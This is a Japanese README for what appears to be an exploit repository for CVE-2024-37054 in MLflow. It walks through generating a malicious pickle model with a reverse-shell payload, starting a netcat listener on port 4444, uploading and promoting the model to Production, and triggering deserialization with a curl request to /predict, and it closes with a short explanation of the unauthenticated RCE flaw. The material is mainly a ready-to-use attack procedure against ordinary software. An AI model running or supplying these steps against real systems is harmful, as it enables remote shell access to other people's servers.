ツールとファイル

ファイル	目的
`generate_model.py`	リバースシェルペイロードを含む悪意のある `model.pkl` を生成する
`upload_model.py`	pickle を MLflow にアップロードし、Production に昇格させる
`sample.csv`	`/predict` エンドポイントをトリガーするために使用される CSV ファイル

使用方法

1. 悪意のある pickle を生成する

generate_model.py を編集し、自分の tun0 IP を設定します:

python3 generate_model.py

2. リスナーを起動する

nc -lvnp 4444

3. 悪意のあるモデルをアップロードする

upload_model.py を編集します:

MLFLOW を http://127.0.0.1:5000 に設定する
MODEL_NAME をメインドメインで確認できるアクティブなモデル名に設定する

python3 upload_model.py

4. 実行をトリガーする

クライアントアプリから新しいセッションクッキーを取得し、次のコマンドを実行します:

curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

リスナーにシェルが接続されます。

主要な脆弱性

MLflow モデルレジストリを介した Pickle 逆シリアル化

MLflow は、登録されたモデルを Python の pickle.load() を使用して読み込みます。細工された pickle をモデルアーティファクトとしてアップロードし、Production に昇格させると、その後の /predict への呼び出しによってサーバー側でペイロードが逆シリアル化され、アプリケーションユーザーとして認証なしの RCE が達成されます。

CVE-2024-37054-MLflow-reverse-shell

人気